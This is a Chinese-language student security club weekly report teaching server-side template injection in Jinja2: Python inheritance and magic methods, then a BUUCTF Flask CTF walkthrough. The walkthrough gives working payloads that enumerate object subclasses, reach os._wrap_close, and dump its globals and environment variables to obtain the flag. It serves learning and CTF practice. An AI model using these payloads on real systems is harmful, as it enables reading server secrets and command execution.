网安社团周报 Week4 - SSTI(模板注入)

经常用AI做这个类型的题 但是不太懂背后的原理 正好趁着周报学习方向是这个学一下下!

理解 SSTI

什么是SSTI(模板注入)

SSTI(Server-Side Template Injection,服务器端模板注入) 是一种安全漏洞,攻击者可以通过向模板中注入恶意代码,在服务器端执行任意命令。

简单来说,就是当网站使用模板引擎(如Jinja2、Twig、Freemarker等)渲染用户输入的内容时,如果没有对用户输入进行严格的过滤和验证,攻击者就可以通过特殊的语法注入模板代码,从而控制模板的执行逻辑

SSTI的危害有多大?

SSTI的危害取决于模板引擎的功能和沙箱环境,可能造成:

  1. 信息泄露:读取敏感文件(/etc/passwd、配置文件等)
  2. 命令执行:在服务器上执行系统命令
  3. 反弹Shell:获取服务器的控制权
  4. 内网探测:利用服务器作为跳板攻击内网
  5. 数据篡改:修改数据库内容

常见的Python模板引擎

模板引擎 使用框架 语法特点
Jinja2 Flask, Django(可选) {{ }} 表达式,{% %} 语句
Mako Pyramid ${ } 表达式,<% %> 语句
Tornado模板 Tornado {{ }} 表达式,{% %} 语句
Django模板 Django {{ }} 表达式,{% %} 语句

继承关系

基础概念

在理解SSTI漏洞利用原理之前,我们需要先了解Python中类、对象和继承的基本概念。因为大多数SSTI的payload都利用了Python的MRO(Method Resolution Order,方法解析顺序)继承链来获取危险函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class Animal:
def __init__(self, name):
self.name = name

def speak(self):
return f"{self.name}发出声音"

class Dog(Animal): # Dog继承自Animal
def speak(self):
return f"{self.name}汪汪叫"

# 创建对象
dog = Dog("旺财")
print(dog.speak()) # 输出:旺财汪汪叫

在这个例子中:

  • Animal父类(基类)
  • Dog子类(派生类),继承了Animal的所有属性和方法
  • dogDog类的实例对象

Python中的类继承体系

Python中所有的类都有一个共同的祖先——object类,关系图大概如下

1
2
3
4
5
6
7
object

Animal

Dog

my_dog_instance(实例对象)

重要概念:

  • 任何类都直接或间接继承自object
  • 实例对象可以通过__class__属性找到它的类
  • 类可以通过__bases__属性找到它的父类
  • 类可以通过__mro__属性查看继承链

SSTI中常用的魔术方法

理解什么是魔术方法?

在SSTI利用过程中,我们经常使用以下魔术方法来”向上爬”继承链:

魔术方法 作用 示例
__class__ 返回当前实例所属的类 "".__class__
__bases__ 返回类的父类组成的元组 "".__class__.__bases__
__mro__ 返回类的继承顺序元组 "".__class__.__mro__
__subclasses__() 返回类的所有子类列表 object.__subclasses__()
__globals__ 返回函数所在全局命名空间的字典 func.__globals__
__builtins__ 返回内置函数和异常的字典 __builtins__

用一个简单的代码理解继承链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建一个字符串对象
s = "Hello SSTI"

# 查看它的类
print(s.__class__) # <class 'str'>

# 查看str类的父类
print(s.__class__.__bases__) # (<class 'object'>,)

# 查看完整的继承链
print(s.__class__.__mro__)
# (<class 'str'>, <class 'object'>)

# 从str类找到object类
obj_class = s.__class__.__bases__[0] # object类
print(obj_class) # <class 'object'>

# 查看object类的所有子类
print(len(obj_class.__subclasses__())) # 数量取决于环境

输出结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看字符串对象的类
<class 'str'>

# 查看str类的父类
(<class 'object'>,)

# 查看完整的继承链
(<class 'str'>, <class 'object'>)

# 从str类找到object
<class 'object'>

# 查看object类的所有子类
173

继承关系可视化

1
2
3
4
5
6
    object (根类)
/ | \
/ | \
str int list ...

s = "Hello SSTI" (实例)

万物皆对象

  • 字符串"Hello SSTI"是一个对象
  • 它的类str也是一个对象
  • 根类object也是一个对象

根类连接万物

  • object有173个子类(包括strintlist等)
  • 通过这些子类,我们可以访问到Python环境中的所有类

概念听不懂?以CTF题学习SSTI原理 - BUUCTF [Flask]SSTI

后端代码含义

打开网页如下图所示 会回显Hello Guest

image-20260227231944206

查看一下后端的代码 来了解一下原理

1
2
3
4
5
6
7
8
9
10
11
12
13
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
name = request.args.get('name', 'guest')

t = Template("Hello " + name)
return t.render()

if __name__ == "__main__":
app.run()

代码逐行分析:

  1. name = request.args.get('name', 'guest')
    • 从URL参数中获取name的值,如果没有提供则默认为’guest’
    • 例如:访问/?name=张三,那么name = "张三"
  2. t = Template("Hello " + name) 漏洞点
    • 这里使用字符串拼接创建模板:"Hello " + name
    • 如果name是普通字符串,比如”张三”,那么模板就是"Hello 张三"
    • 但如果name中包含模板语法,比如{{7*7}},那么模板就变成"Hello {{7*7}}"
  3. return t.render()
    • 渲染模板,执行其中的模板代码

关于Python表达式

表达式是Python代码中可以计算出值的任何片段。简单来说,就是”有结果”的代码

在Jinja2模板的{{ ... }}中,可以写任何有效的Python表达式,但不能写语句

例如可以写的表达式有

1
2
3
4
5
6
7
{{ 7 * 7 }}                    # 算术表达式
{{ "Hello".upper() }} # 方法调用
{{ [1,2,3][0] }} # 列表索引
{{ user.name }} # 属性访问
{{ user['name'] }} # 字典取值
{{ max([1,5,3]) }} # 函数调用
{{ name|upper }} # 过滤器(Jinja2特有)

不能写的(语句)

1
2
3
4
5
{{ x = 5 }}                    # 赋值语句(不能写)
{{ if True: }} # if语句(不能写)
{{ for i in range(10): }} # for语句(不能写)
{{ def func(): }} # 函数定义(不能写)
{{ import os }} # 导入语句(不能写)

开始解题!

测试是否存在SSTI漏洞

先访问访问 /?name={{7*7}} 发现回显49 确认存在SSTI漏洞

image-20260306060309851

理解利用链的思路

我们的目标是命令执行,但直接写{{os.system('ls')}}是不行的,因为:

  1. 模板环境中默认没有导入os模块
  2. 我们需要从已有的对象出发,找到可以执行命令的方法

思路:从任意对象开始 → 找到它的类 → 找到父类(object) → 找到所有子类 → 在子类中寻找可以执行命令的类(如os._wrap_closesubprocess.Popen等)

尝试进行查类

尝试访问 但是回显如下

1
?name={{%20[].__class__.__base__.__subclasses__()}}

这个payload理论上应该返回所有子类

image-20260306062223278

打开F12可以看到所有的类都显示出来了 只不过可能因为是网页是层级关系显示的 而且没有索引号

没办法直接通过类名访问 但是可以通过索引号访问 所以一般情况查到类名之后就要去查索引号

image-20260306063124168

可以通过以下方法实现顺带着查询索引号

没错 这个也可以使用for循环!

1
?name={% for c in [].__class__.__base__.__subclasses__() %}{{ loop.index0 }}:{{ c }}<br>{% endfor %}
代码片段 含义 作用
{% for c in ... %}` | **for循环语句** | 遍历子类列表中的每一个类,赋值给变量`c` | | `[].__class__.__base__.__subclasses__()` | **获取所有子类** | 从空列表出发,找到object基类的所有子类 | | `{{ loop.index0 }}` | **输出当前索引** | `loop.index0`是Jinja2内置变量,表示当前循环次数**从0开始** | | `:` | **分隔符** | 让输出格式为 `索引:类`,便于阅读 | | `{{ c }}` | **输出当前类** | 显示当前遍历到的类 | | `
` | **HTML换行** | 让每个类显示在新的一行,避免挤在一起 | | `{% endfor %}
结束循环 标记循环结束

image-20260306063832909

然后搜索一下os. 就能看到索引为117!

image-20260306064118458

拿到索引号使用getflag

先确认 117 确实是 os._wrap_close

1
?name={{ [].__class__.__base__.__subclasses__()[117].__name__ }}

返回 发现没问题!

image-20260306064356238

查看这个类所有可用的全局变量

1
?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.keys() }}

image-20260306064814681

我们找到其中的 environ 查询环境变量 因为ctf中很多时候环境变量里面就有flag 就不用比较麻烦的去别处找了

1
?name={{ [].__class__.__base__.__subclasses__()[117].__init__.__globals__.environ }}

成功Getflag!

image-20260306065012293